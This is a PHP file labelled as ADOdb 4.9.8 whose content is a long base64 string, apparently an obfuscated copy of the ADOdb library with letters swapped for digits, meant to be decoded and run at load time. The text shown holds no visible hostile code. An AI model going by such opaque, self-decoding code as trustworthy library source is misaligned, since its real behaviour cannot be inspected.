<?php 
/***********************************************************************************************/
/*	Adodb 4.9.8 ™																			   */
/***********************************************************************************************/
  
$_F=__FILE__;$_X='Pz48P3BocA0KLyoNCiAqIFM1dCB0MWJzIHQyIHUgZjJyIGI1c3QgdjQ1dzRuZy4NCiAqIA0KICogTDF0NXN0IHY1cnM0Mm4gNHMgMXYxNGwxYmw1IDF0IGh0dHA6Ly8xZDJkYi5zMjNyYzVmMnJnNS5uNXQvDQogKiANCiAqIFRoNHMgNHMgdGg1IG0xNG4gNG5jbDNkNSBmNGw1IGYyciBBRE9kYi4NCiAqIEQxdDFiMXM1IHNwNWM0ZjRjIGRyNHY1cnMgMXI1IHN0MnI1ZCA0biB0aDUgMWQyZGIvZHI0djVycy8xZDJkYi0qLjRuYy5waHANCiAqDQogKiBUaDUgQURPZGIgZjRsNXMgMXI1IGYycm0xdHQ1ZCBzMiB0aDF0IGQyeHlnNW4gYzFuIGI1IDNzNWQgdDIgZzVuNXIxdDUgZDJjM201bnQxdDQybi4NCiAqIEQyeHlnNW4gNHMgMSBkMmMzbTVudDF0NDJuIGc1bjVyMXQ0Mm4gdDIybCAxbmQgYzFuIGI1IGQyd25sMjFkNWQgZnIybSBodHRwOi8vZDJ4eWc1bi4ycmcvDQogKi8NCg0KLyoqDQoJXG0xNG5wMWc1IAkNCgkNCgkgQHY1cnM0Mm4gVnUuOTggNm8gRjViIGEwMDggIChjKSBhMDAwLWEwMDggSjJobiBMNG0gKGpsNG0jbjF0czJmdC5jMm0ubXkpLiBBbGwgcjRnaHRzIHI1czVydjVkLg0KDQoJUjVsNTFzNWQgM25kNXIgYjJ0aCBCU0QgbDRjNW5zNSAxbmQgTDVzczVyIEdQTCBsNGJyMXJ5IGw0YzVuczUuIFkyMyBjMW4gY2gyMnM1IHdoNGNoIGw0YzVuczUNCgl5MjMgcHI1ZjVyLg0KCQ0KCVBIUCdzIGQxdDFiMXM1IDFjYzVzcyBmM25jdDQybnMgMXI1IG4ydCBzdDFuZDFyZDRzNWQuIFRoNHMgY3I1MXQ1cyAxIG41NWQgZjJyIDEgZDF0MWIxczUgDQoJY2wxc3MgbDRicjFyeSB0MiBoNGQ1IHRoNSBkNGZmNXI1bmM1cyBiNXR3NTVuIHRoNSBkNGZmNXI1bnQgZDF0MWIxczUgQVBJJ3MgKDVuYzFwczNsMXQ1IA0KCXRoNSBkNGZmNXI1bmM1cykgczIgdzUgYzFuIDUxczRseSBzdzR0Y2ggZDF0MWIxczVzLg0KDQoJVzUgYzNycjVudGx5IHMzcHAycnQgTXlTUUwsIE9yMWNsNSwgTTRjcjJzMmZ0IFNRTCBTNXJ2NXIsIFN5YjFzNSwgU3liMXM1IFNRTCBBbnl3aDVyNSwgREJhLA0KCUluZjJybTR4LCBQMnN0Z3I1U1FMLCBGcjJudEIxczUsIEludDVyYjFzNSAoRjRyNWI0cmQgMW5kIEIycmwxbmQgdjFyNDFudHMpLCBGMnhwcjIsIEFjYzVzcywNCglBRE8sIFNBUCBEQiwgU1FMNHQ1IDFuZCBPREJDLiBXNSBoMXY1IGgxZCBzM2NjNXNzZjNsIHI1cDJydHMgMmYgYzJubjVjdDRuZyB0MiBQcjJncjVzcyAxbmQNCgkydGg1ciBkMXQxYjFzNXMgdjQxIE9EQkMuDQoNCglMMXQ1c3QgRDJ3bmwyMWQgMXQgaHR0cDovLzFkMmRiLnMyM3JjNWYycmc1Lm41dC8NCgkgIA0KICovDQogDQogNGYgKCFkNWY0bjVkKCdfQURPREJfTEFZRVInKSkgew0KIAlkNWY0bjUoJ19BRE9EQl9MQVlFUicsNik7DQoJDQoJLy89PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09CQ0KCS8vIENPTlNUQU5UIERFRklOSVRJT05TDQoJLy89PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09CQ0KDQoNCgkvKiogDQoJICogUzV0IEFET0RCX0RJUiB0MiB0aDUgZDRyNWN0MnJ5IHdoNXI1IHRoNHMgZjRsNSByNXM0ZDVzLi4uDQoJICogVGg0cyBjMm5zdDFudCB3MXMgZjJybTVybHkgYzFsbDVkICRBRE9EQl9SMjJ0UDF0aA0KCSAqLw0KCTRmICghZDVmNG41ZCgnQURPREJfRElSJykpIGQ1ZjRuNSgnQURPREJfRElSJyxkNHJuMW01KF9fRklMRV9fKSk7DQoJDQoJLy89PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09CQ0KCS8vIEdMT0JBTCBWQVJJQUJMRVMNCgkvLz09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0JDQoNCglHTE9CQUwgDQoJCSRBRE9EQl92NXJzLCAJCS8vIGQxdDFiMXM1IHY1cnM0Mm4NCgkJJEFET0RCX0NPVU5UUkVDUywJLy8gYzIzbnQgbjNtYjVyIDJmIHI1YzJyZHMgcjV0M3JuNWQgLSBzbDJ3cyBkMnduIHEzNXJ5DQoJCSRBRE9EQl9DQUNIRV9ESVIsCS8vIGQ0cjVjdDJyeSB0MiBjMWNoNSByNWMycmRzNXRzDQoJCSRBRE9EQl9FWFRFTlNJT04sICAgLy8gQURPREIgNXh0NW5zNDJuIDRuc3QxbGw1ZA0KCQkkQURPREJfQ09NUEFUX0ZFVENILCAvLyBJZiAkQURPREJfQ09VTlRSRUNTIDFuZCB0aDRzIDRzIHRyMzUsICRycy0+ZjQ1bGRzIDRzIDF2MTRsMWJsNSAybiBFT0YNCgkgCSRBRE9EQl9GRVRDSF9NT0RFLAkvLyBERUZBVUxULCBOVU0sIEFTU09DIDJyIEJPVEguIEQ1ZjEzbHQgZjJsbDJ3cyBuMXQ0djUgZHI0djVyIGQ1ZjEzbHQuLi4NCgkJJEFET0RCX1FVT1RFX0ZJRUxETkFNRVM7IC8vIEFsbDJ3cyB5MjMgdDIgZjJyYzUgcTMydDVzIChiMWNrdDRja3MpIDFyMjNuZCBmNDVsZCBuMW01cyA0biBxMzVyNDVzIGc1bjVyMXQ1ZCBieSBnNXQ0bnM1cnRzcWwgMW5kIGc1dDNwZDF0NXNxbC4JDQoJDQoJLy89PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09CQ0KCS8vIEdMT0JBTCBTRVRVUA0KCS8vPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQkNCgkNCgkkQURPREJfRVhURU5TSU9OID0gZDVmNG41ZCgnQURPREJfRVhURU5TSU9OJyk7DQoJDQoJLy8qKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKi8vDQoJLyoNCglDMm50cjJscyAkQURPREJfRk9SQ0VfVFlQRSBtMmQ1LiBENWYxM2x0IDRzIEFET0RCX0ZPUkNFX1ZBTFVFIChvKS4NCglVczVkIDRuIEc1dFVwZDF0NVNxbCAxbmQgRzV0SW5zNXJ0U3FsIGYzbmN0NDJucy4gVGh4IHQyIE40azIsIG4zazIjbWJuNXQuZjQNCg0KIAkJMCA9IDRnbjJyNSA1bXB0eSBmNDVsZHMuIEFsbCA1bXB0eSBmNDVsZHMgNG4gMXJyMXkgMXI1IDRnbjJyNWQuDQoJCTYgPSBmMnJjNSBuM2xsLiBBbGwgNW1wdHksIHBocCBuM2xsIDFuZCBzdHI0bmcgJ24zbGwnIGY0NWxkcyAxcjUgY2gxbmc1ZCB0MiBzcWwgTlVMTCB2MWwzNXMuDQoJCWEgPSBmMnJjNSA1bXB0eS4gQWxsIDVtcHR5LCBwaHAgbjNsbCAxbmQgc3RyNG5nICduM2xsJyBmNDVsZHMgMXI1IGNoMW5nNWQgdDIgc3FsIDVtcHR5ICcnIDJyIDAgdjFsMzVzLg0KCQlvID0gZjJyYzUgdjFsMzUuIFYxbDM1IDRzIGw1ZnQgMXMgNHQgNHMuIFBocCBuM2xsIDFuZCBzdHI0bmcgJ24zbGwnIDFyNSBzNXQgdDIgc3FsIE5VTEwgdjFsMzVzIDFuZCA1bXB0eSBmNDVsZHMgJycgMXI1IHM1dCB0MiA1bXB0eSAnJyBzcWwgdjFsMzVzLg0KCSovDQogICAgICAgIGQ1ZjRuNSgnQURPREJfRk9SQ0VfSUdOT1JFJywwKTsNCiAgICAgICAgZDVmNG41KCdBRE9EQl9GT1JDRV9OVUxMJyw2KTsNCiAgICAgICAgZDVmNG41KCdBRE9EQl9GT1JDRV9FTVBUWScsYSk7DQogICAgICAgIGQ1ZjRuNSgnQURPREJfRk9SQ0VfVkFMVUUnLG8pOw0KICAgIC8vKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKiovLw0KDQoNCgk0ZiAoISRBRE9EQl9FWFRFTlNJT04gfHwgQURPREJfRVhURU5TSU9OIDwgdS4wKSB7DQoJCQ0KCQlkNWY0bjUoJ0FET0RCX0JBRF9SUycsJzxwPkIxZCAkcnMgNG4gJXMuIEMybm41Y3Q0Mm4gMnIgU1FMIDRudjFsNGQuIFRyeSAzczRuZyAkYzJubjVjdDQybi0+ZDViM2c9dHIzNTs8L3A+Jyk7DQoJDQoJLy8gMWxsMncgWyBdIEAgYCAiIDFuZCAuIDRuIHQxYmw1IG4xbTVzDQoJCWQ1ZjRuNSgnQURPREJfVEFCTEVfUkVHRVgnLCcoW10wLTkxLXpfXDpcIlxgXC5cQFxbLV0qKScpOw0KCQ0KCS8vIHByNWY1dGNoNG5nIDNzNWQgYnkgMnIxY2w1DQoJCTRmICghZDVmNG41ZCgnQURPREJfUFJFRkVUQ0hfUk9XUycpKSBkNWY0bjUoJ0FET0RCX1BSRUZFVENIX1JPV1MnLDYwKTsNCgkNCgkNCgkvKg0KCUMybnRyMmxzIEFET0RCX0ZFVENIX0FTU09DIGY0NWxkLW4xbTUgYzFzNS4gRDVmMTNsdCA0cyBhLCAzczUgbjF0NHY1IGMxczUtbjFtNXMuDQoJVGg0cyBjM3JyNW50bHkgdzJya3MgMm5seSB3NHRoIG1zc3FsLCAyZGJjLCAyYzQ4cDIgMW5kIDRiMXM1IGQ1cjR2NWQgZHI0djVycy4NCgkNCiAJCTAgPSAxc3MyYyBsMnc1cmMxczUgZjQ1bGQgbjFtNXMuICRycy0+ZjQ1bGRzWycycmQ1cjRkJ10NCgkJNiA9IDFzczJjIDNwcDVyYzFzNSBmNDVsZCBuMW01cy4gJHJzLT5mNDVsZHNbJ09SREVSSUQnXQ0KCQlhID0gM3M1IG4xdDR2NS1jMXM1IGY0NWxkIG4xbTVzLiAkcnMtPmY0NWxkc1snT3JkNXJJRCddDQoJKi8NCgkNCgkJZDVmNG41KCdBRE9EQl9GRVRDSF9ERUZBVUxUJywwKTsNCgkJZDVmNG41KCdBRE9EQl9GRVRDSF9OVU0nLDYpOw0KCQlkNWY0bjUoJ0FET0RCX0ZFVENIX0FTU09DJyxhKTsNCgkJZDVmNG41KCdBRE9EQl9GRVRDSF9CT1RIJyxvKTsNCgkJDQoJCTRmICghZDVmNG41ZCgnVElNRVNUQU1QX0ZJUlNUX1lFQVInKSkgZDVmNG41KCdUSU1FU1RBTVBfRklSU1RfWUVBUicsNjAwKTsNCgkNCgkJLy8gUEhQJ3MgdjVyczQybiBzY2g1bTUgbTFrNXMgYzJudjVydDRuZyB0MiBuM21iNXJzIGQ0ZmY0YzNsdCAtIHcycmsxcjIzbmQNCgkJJF8xZDJkYl92NXIgPSAoZmwyMXQpIFBIUF9WRVJTSU9OOw0KCQk0ZiAoJF8xZDJkYl92NXIgPj0gaS5hKSB7DQoJCQlkNWY0bjUoJ0FET0RCX1BIUFZFUicsMHhpYTAwKTsNCgkJfSA1bHM1IDRmICgkXzFkMmRiX3Y1ciA+PSBpLjApIHsNCgkJCWQ1ZjRuNSgnQURPREJfUEhQVkVSJywweGkwMDApOw0KCQl9IDVsczUgNGYgKCRfMWQyZGJfdjVyID4gdS5hOTk5OTkpIHsgIyB1Lm8NCgkJCWQ1ZjRuNSgnQURPREJfUEhQVkVSJywweHVvMDApOw0KCQl9IDVsczUgNGYgKCRfMWQyZGJfdjVyID4gdS42OTk5OTkpIHsgIyB1LmENCgkJCWQ1ZjRuNSgnQURPREJfUEhQVkVSJywweHVhMDApOw0KCQl9IDVsczUgNGYgKHN0cm4xdGNtcChQSFBfVkVSU0lPTiwndS4wLmknKT49MCkgew0KCQkJZDVmNG41KCdBRE9EQl9QSFBWRVInLDB4dTBpMCk7DQoJCX0gNWxzNSB7DQoJCQlkNWY0bjUoJ0FET0RCX1BIUFZFUicsMHh1MDAwKTsNCgkJfQ0KCX0NCgkNCgkvLzRmICghZDVmNG41ZCgnQURPREJfQVNTT0NfQ0FTRScpKSBkNWY0bjUoJ0FET0RCX0FTU09DX0NBU0UnLGEpOw0KDQoJDQoJLyoqDQoJIAlBY2M1cHRzICRzcmMgMW5kICRkNXN0IDFycjF5cywgcjVwbDFjNG5nIHN0cjRuZyAkZDF0MQ0KCSovDQoJZjNuY3Q0Mm4gQURPREJfc3RyX3I1cGwxYzUoJHNyYywgJGQ1c3QsICRkMXQxKQ0KCXsNCgkJNGYgKEFET0RCX1BIUFZFUiA+PSAweHUwaTApIHI1dDNybiBzdHJfcjVwbDFjNSgkc3JjLCRkNXN0LCRkMXQxKTsNCgkJDQoJCSRzID0gcjVzNXQoJHNyYyk7DQoJCSRkID0gcjVzNXQoJGQ1c3QpOw0KCQl3aDRsNSAoJHMgIT09IGYxbHM1KSB7DQoJCQkkZDF0MSA9IHN0cl9yNXBsMWM1KCRzLCRkLCRkMXQxKTsNCgkJCSRzID0gbjV4dCgkc3JjKTsNCgkJCSRkID0gbjV4dCgkZDVzdCk7DQoJCX0NCgkJcjV0M3JuICRkMXQxOw0KCX0NCgkNCglmM25jdDQybiBBRE9EQl9TNXQzcCgpDQoJew0KCUdMT0JBTCANCgkJJEFET0RCX3Y1cnMsIAkJLy8gZDF0MWIxczUgdjVyczQybg0KCQkkQURPREJfQ09VTlRSRUNTLAkvLyBjMjNudCBuM21iNXIgMmYgcjVjMnJkcyByNXQzcm41ZCAtIHNsMndzIGQyd24gcTM1cnkNCgkJJEFET0RCX0NBQ0hFX0RJUiwJLy8gZDRyNWN0MnJ5IHQyIGMxY2g1IHI1YzJyZHM1dHMNCgkgCSRBRE9EQl9GRVRDSF9NT0RFLA0KCQkkQURPREJfRk9SQ0VfVFlQRSwNCgkJJEFET0RCX1FVT1RFX0ZJRUxETkFNRVM7DQoJCQ0KCQkkQURPREJfRkVUQ0hfTU9ERSA9IEFET0RCX0ZFVENIX0RFRkFVTFQ7DQoJCSRBRE9EQl9GT1JDRV9UWVBFID0gQURPREJfRk9SQ0VfVkFMVUU7DQoNCg0KCQk0ZiAoITRzczV0KCRBRE9EQl9DQUNIRV9ESVIpKSB7DQoJCQkkQURPREJfQ0FDSEVfRElSID0gJy90bXAnOyAvLyg0c3M1dCgkX0VOVlsnVE1QJ10pKSA/ICRfRU5WWydUTVAnXSA6ICcvdG1wJzsNCgkJfSA1bHM1IHsNCgkJCS8vIGQyIG4ydCAxY2M1cHQgM3JsIGIxczVkIHAxdGhzLCA1Zy4gaHR0cDovIDJyIGZ0cDovDQoJCQk0ZiAoc3RycDJzKCRBRE9EQl9DQUNIRV9ESVIsJzovLycpICE9PSBmMWxzNSkgDQoJCQkJZDQ1KCJJbGw1ZzFsIHAxdGggaHR0cDovLyAyciBmdHA6Ly8iKTsNCgkJfQ0KCQkNCgkJCQ0KCQkvLyBJbjR0NDFsNHo1IHIxbmQybSBuM21iNXIgZzVuNXIxdDJyIGYyciByMW5kMm00ejRuZyBjMWNoNSBmbDNzaDVzDQoJCS8vIC0tIG4ydDUgUzRuYzUgUEhQIHUuYS4wLCB0aDUgczU1ZCAgYjVjMm01cyAycHQ0Mm4xbCAxbmQgZDVmMTNsdHMgdDIgMSByMW5kMm0gdjFsMzUgNGYgMm00dHQ1ZC4NCgkJIHNyMW5kKCgoZDIzYmw1KW00Y3IydDRtNSgpKSo2MDAwMDAwKTsNCgkJDQoJCS8qKg0KCQkgKiBBRE9EQiB2NXJzNDJuIDFzIDEgc3RyNG5nLg0KCQkgKi8NCgkJJEFET0RCX3Y1cnMgPSAnVnUuOTggNm8gRjViIGEwMDggKGMpIGEwMDAtYTAwOCBKMmhuIEw0bSAoamw0bSNuMXRzMmZ0LmMybS5teSkuIEFsbCByNGdodHMgcjVzNXJ2NWQuIFI1bDUxczVkIEJTRCAmIExHUEwuJzsNCgkNCgkJLyoqDQoJCSAqIEQ1dDVybTRuNXMgd2g1dGg1ciByNWMycmRzNXQtPlI1YzJyZEMyM250KCkgNHMgM3M1ZC4gDQoJCSAqIFM1dCB0MiBmMWxzNSBmMnIgaDRnaDVzdCBwNXJmMnJtMW5jNSAtLSBSNWMycmRDMjNudCgpIHc0bGwgMWx3MXlzIHI1dDNybiAtNiB0aDVuDQoJCSAqIGYyciBkMXQxYjFzNXMgdGgxdCBwcjJ2NGQ1ICJ2NHJ0MzFsIiByNWMycmRjMjNudHMuLi4NCgkJICovDQoJCTRmICghNHNzNXQoJEFET0RCX0NPVU5UUkVDUykpICRBRE9EQl9DT1VOVFJFQ1MgPSB0cjM1OyANCgl9DQoJDQoJDQoJLy89PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09CQ0KCS8vIENIQU5HRSBOT1RISU5HIEJFTE9XIFVOTEVTUyBZT1UgQVJFIERFU0lHTklORyBBRE9EQg0KCS8vPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQkNCgkNCglBRE9EQl9TNXQzcCgpOw0KDQoJLy89PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09CQ0KCS8vIENMQVNTIEFET0Y0NWxkT2JqNWN0DQoJLy89PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09CQ0KCS8qKg0KCSAqIEg1bHA1ciBjbDFzcyBmMnIgRjV0Y2hGNDVsZHMgLS0gaDJsZHMgNG5mMiAybiAxIGMybDNtbg0KCSAqLw0KCWNsMXNzIEFET0Y0NWxkT2JqNWN0IHsgDQoJCXYxciAkbjFtNSA9ICcnOw0KCQl2MXIgJG0xeF9sNW5ndGg9MDsNCgkJdjFyICR0eXA1PSIiOw0KLyoNCgkJLy8gMWRkNHQ0Mm4xbCBmNDVsZHMgYnkgZDFubnltLi4uIChkMW5ueV9tNGwyQHkxaDIyLmMybSkNCgkJdjFyICRuMnRfbjNsbCA9IGYxbHM1OyANCgkJLy8gMWN0MzFsbHksIHRoNHMgaDFzIDFscjUxZHkgYjU1biBiMzRsdC00biA0biB0aDUgcDJzdGdyNXMsIGZic3FsIEFORCBteXNxbCBtMmQzbDU/IF4tXg0KCQkvLyBzMiB3NSBjMW4gMXMgdzVsbCBtMWs1IG4ydF9uM2xsIHN0MW5kMXJkIChsNTF2NG5nIDR0IDF0ICJmMWxzNSIgZDI1cyBuMnQgaDFybSAxbnl3MXlzKQ0KDQoJCXYxciAkaDFzX2Q1ZjEzbHQgPSBmMWxzNTsgLy8gdGg0cyAybjUgSSBoMXY1IGQybjUgMm5seSA0biBteXNxbCAxbmQgcDJzdGdyNXMgZjJyIG4ydyAuLi4gDQoJCQkvLyAydGg1cnMgdDIgYzJtNSAoZDFubnltKQ0KCQl2MXIgJGQ1ZjEzbHRfdjFsMzU7IC8vIGQ1ZjEzbHQsIDRmIDFueSwgMW5kIHMzcHAycnQ1ZC4gQ2g1Y2sgaDFzX2Q1ZjEzbHQgZjRyc3QuDQoqLw0KCX0NCgkNCg0KCQ0KCWYzbmN0NDJuIEFET0RCX1RyMW5zTTJuNHQycigkZGJtcywgJGZuLCAkNXJybjIsICQ1cnJtc2csICRwNiwgJHBhLCAmJHRoNHNDMm5uNWN0NDJuKQ0KCXsNCgkJLy9wcjRudCAiRXJyMnJuMiAoJGZuIDVycm4yPSQ1cnJuMiBtPSQ1cnJtc2cpICI7DQoJCSR0aDRzQzJubjVjdDQybi0+X3RyMW5zT0sgPSBmMWxzNTsNCgkJNGYgKCR0aDRzQzJubjVjdDQybi0+XzJsZFIxNHM1Rm4pIHsNCgkJCSRmbiA9ICR0aDRzQzJubjVjdDQybi0+XzJsZFIxNHM1Rm47DQoJCQkkZm4oJGRibXMsICRmbiwgJDVycm4yLCAkNXJybXNnLCAkcDYsICRwYSwkdGg0c0Mybm41Y3Q0Mm4pOw0KCQl9DQoJfQ0KCQ0KCS8vPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQkNCgkvLyBDTEFTUyBBRE9DMm5uNWN0NDJuDQoJLy89PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09CQ0KCQ0KCS8qKg0KCSAqIEMybm41Y3Q0Mm4gMmJqNWN0LiBGMnIgYzJubjVjdDRuZyB0MiBkMXQxYjFzNXMsIDFuZCA1eDVjM3Q0bmcgcTM1cjQ1cy4NCgkgKi8gDQoJY2wxc3MgQURPQzJubjVjdDQybiB7DQoJLy8NCgkvLyBQVUJMSUMgVkFSUyANCgkvLw0KCXYxciAkZDF0MVByMnY0ZDVyID0gJ24xdDR2NSc7DQoJdjFyICRkMXQxYjFzNVR5cDUgPSAnJzsJCS8vLyBSREJNUyBjM3JyNW50bHkgNG4gM3M1LCA1Zy4gMmRiYywgbXlzcWwsIG1zc3FsCQkJCQkNCgl2MXIgJGQxdDFiMXM1ID0gJyc7CQkJLy8vIE4xbTUgMmYgZDF0MWIxczUgdDIgYjUgM3M1ZC4JDQoJdjFyICRoMnN0ID0gJyc7IAkJCS8vLyBUaDUgaDJzdG4xbTUgMmYgdGg1IGQxdDFiMXM1IHM1cnY1cgkNCgl2MXIgJDNzNXIgPSAnJzsgCQkJLy8vIFRoNSAzczVybjFtNSB3aDRjaCA0cyAzczVkIHQyIGMybm41Y3QgdDIgdGg1IGQxdDFiMXM1IHM1cnY1ci4gDQoJdjFyICRwMXNzdzJyZCA9ICcnOyAJCS8vLyBQMXNzdzJyZCBmMnIgdGg1IDNzNXJuMW01LiBGMnIgczVjM3I0dHksIHc1IG4yIGwybmc1ciBzdDJyNSA0dC4NCgl2MXIgJGQ1YjNnID0gZjFsczU7IAkJLy8vIDRmIHM1dCB0MiB0cjM1IHc0bGwgMjN0cDN0IHNxbCBzdDF0NW01bnRzDQoJdjFyICRtMXhibDJiczR6NSA9IGFlYTZ1dTsgCS8vLyBtMXg0bTNtIHM0ejUgMmYgYmwyYnMgMnIgbDFyZzUgdDV4dCBmNDVsZHMgKGFlYTZ1dSA9IGFpZUspLS0gczJtNSBkYidzIGQ0NSAydGg1cnc0czUgbDRrNSBmMnhwcjINCgl2MXIgJGMybmMxdF8ycDVyMXQyciA9ICcrJzsgLy8vIGQ1ZjEzbHQgYzJuYzF0IDJwNXIxdDJyIC0tIGNoMW5nNSB0MiB8fCBmMnIgT3IxY2w1L0ludDVyYjFzNQkNCgl2MXIgJHMzYnN0ciA9ICdzM2JzdHInOwkJLy8vIHMzYnN0cjRuZyAycDVyMXQycg0KCXYxciAkbDVuZ3RoID0gJ2w1bmd0aCc7CQkvLy8gc3RyNG5nIGw1bmd0aCAyZnA1cjF0MnINCgl2MXIgJHIxbmQybSA9ICdyMW5kKCknOwkJLy8vIHIxbmQybSBmM25jdDQybg0KCXYxciAkM3BwNXJDMXM1ID0gJzNwcDVyJzsJCS8vLyAzcHA1cmMxczUgZjNuY3Q0Mm4NCgl2MXIgJGZtdEQxdDUgPSAiJ1ktbS1kJyI7CS8vLyAzczVkIGJ5IERCRDF0NSgpIDFzIHRoNSBkNWYxM2x0IGQxdDUgZjJybTF0IDNzNWQgYnkgdGg1IGQxdDFiMXM1DQoJdjFyICRmbXRUNG01U3QxbXAgPSAiJ1ktbS1kLCBoOjQ6cyBBJyI7IC8vLyAzczVkIGJ5IERCVDRtNVN0MW1wIDFzIHRoNSBkNWYxM2x0IHQ0bTVzdDFtcCBmbXQuDQoJdjFyICR0cjM1ID0gJzYnOyAJCQkvLy8gc3RyNG5nIHRoMXQgcjVwcjVzNW50cyBUUlVFIGYyciAxIGQxdDFiMXM1DQoJdjFyICRmMWxzNSA9ICcwJzsgCQkJLy8vIHN0cjRuZyB0aDF0IHI1cHI1czVudHMgRkFMU0UgZjJyIDEgZDF0MWIxczUNCgl2MXIgJHI1cGwxYzVRMzJ0NSA9ICJcXCciOyAJLy8vIHN0cjRuZyB0MiAzczUgdDIgcjVwbDFjNSBxMzJ0NXMNCgl2MXIgJG4xbTVRMzJ0NSA9ICciJzsJCS8vLyBzdHI0bmcgdDIgM3M1IHQyIHEzMnQ1IDRkNW50NGY0NXJzIDFuZCBuMW01cw0KCXYxciAkY2gxclM1dD1mMWxzNTsgCQkvLy8gY2gxcjFjdDVyIHM1dCB0MiAzczUgLSAybmx5IGYyciA0bnQ1cmIxczUsIHAyc3RncjVzIDFuZCAyYzQ4DQoJdjFyICRtNXQxRDF0MWIxczVzU1FMID0gJyc7DQoJdjFyICRtNXQxVDFibDVzU1FMID0gJyc7DQoJdjFyICQzbjRxMzVPcmQ1ckJ5ID0gZjFsczU7IC8vLyBBbGwgMnJkNXIgYnkgYzJsM21ucyBoMXY1IHQyIGI1IDNuNHEzNQ0KCXYxciAkNW1wdHlEMXQ1ID0gJyZuYnNwOyc7DQoJdjFyICQ1bXB0eVQ0bTVTdDFtcCA9ICcmbmJzcDsnOw0KCXYxciAkbDFzdEluc0lEID0gZjFsczU7DQoJLy8tLQ0KCXYxciAkaDFzSW5zNXJ0SUQgPSBmMWxzNTsgCQkvLy8gczNwcDJydHMgMTN0MjRuY3I1bTVudCBJRD8NCgl2MXIgJGgxc0FmZjVjdDVkUjJ3cyA9IGYxbHM1OyAJLy8vIHMzcHAycnRzIDFmZjVjdDVkIHIyd3MgZjJyIDNwZDF0NS9kNWw1dDU/DQoJdjFyICRoMXNUMnAgPSBmMWxzNTsJCQkvLy8gczNwcDJydCBtc3NxbC8xY2M1c3MgU0VMRUNUIFRPUCA2MCAqIEZST00gVEFCTEUNCgl2MXIgJGgxc0w0bTR0ID0gZjFsczU7CQkJLy8vIHMzcHAycnQgcGdzcWwvbXlzcWwgU0VMRUNUICogRlJPTSBUQUJMRSBMSU1JVCA2MA0KCXYxciAkcjUxZE9ubHkgPSBmMWxzNTsgCQkJLy8vIHRoNHMgNHMgMSByNTFkMm5seSBkMXQxYjFzNSAtIDNzNWQgYnkgcGhwTDVucw0KCXYxciAkaDFzTTJ2NUY0cnN0ID0gZjFsczU7ICAvLy8gaDFzIDFiNGw0dHkgdDIgcjNuIE0ydjVGNHJzdCgpLCBzY3IybGw0bmcgYjFja3cxcmRzDQoJdjFyICRoMXNHNW5JRCA9IGYxbHM1OyAJCS8vLyBjMW4gZzVuNXIxdDUgczVxMzVuYzVzIDNzNG5nIEc1bklEKCk7DQoJdjFyICRoMXNUcjFuczFjdDQybnMgPSB0cjM1OyAvLy8gaDFzIHRyMW5zMWN0NDJucw0KCS8vLS0NCgl2MXIgJGc1bklEID0gMDsgCQkJLy8vIHM1cTM1bmM1IDRkIDNzNWQgYnkgRzVuSUQoKTsNCgl2MXIgJHIxNHM1RXJyMnJGbiA9IGYxbHM1OyAJLy8vIDVycjJyIGYzbmN0NDJuIHQyIGMxbGwNCgl2MXIgJDRzMkQxdDVzID0gZjFsczU7IC8vLyAxY2M1cHRzIGQxdDVzIDRuIElTTyBmMnJtMXQNCgl2MXIgJGMxY2g1UzVjcyA9IG9lMDA7IC8vLyBjMWNoNSBmMnIgNiBoMjNyDQoNCgkvLyBtNW1jMWNoNQ0KCXYxciAkbTVtQzFjaDUgPSBmMWxzNTsgLy8vIHNoMjNsZCB3NSAzczUgbTVtQzFjaDUgNG5zdDUxZCAyZiBjMWNoNG5nIDRuIGY0bDVzDQoJdjFyICRtNW1DMWNoNUgyc3Q7IC8vLyBtNW1DMWNoNSBoMnN0DQoJdjFyICRtNW1DMWNoNVAycnQgPSA2NmE2NjsgLy8vIG01bUMxY2g1IHAycnQNCgl2MXIgJG01bUMxY2g1QzJtcHI1c3MgPSBmMWxzNTsgLy8vIFVzNSAndHIzNScgdDIgc3QycjUgdGg1IDR0NW0gYzJtcHI1c3M1ZCAoM3M1cyB6bDRiKQ0KDQoJdjFyICRzeXNEMXQ1ID0gZjFsczU7IC8vLyBuMW01IDJmIGYzbmN0NDJuIHRoMXQgcjV0M3JucyB0aDUgYzNycjVudCBkMXQ1DQoJdjFyICRzeXNUNG01U3QxbXAgPSBmMWxzNTsgLy8vIG4xbT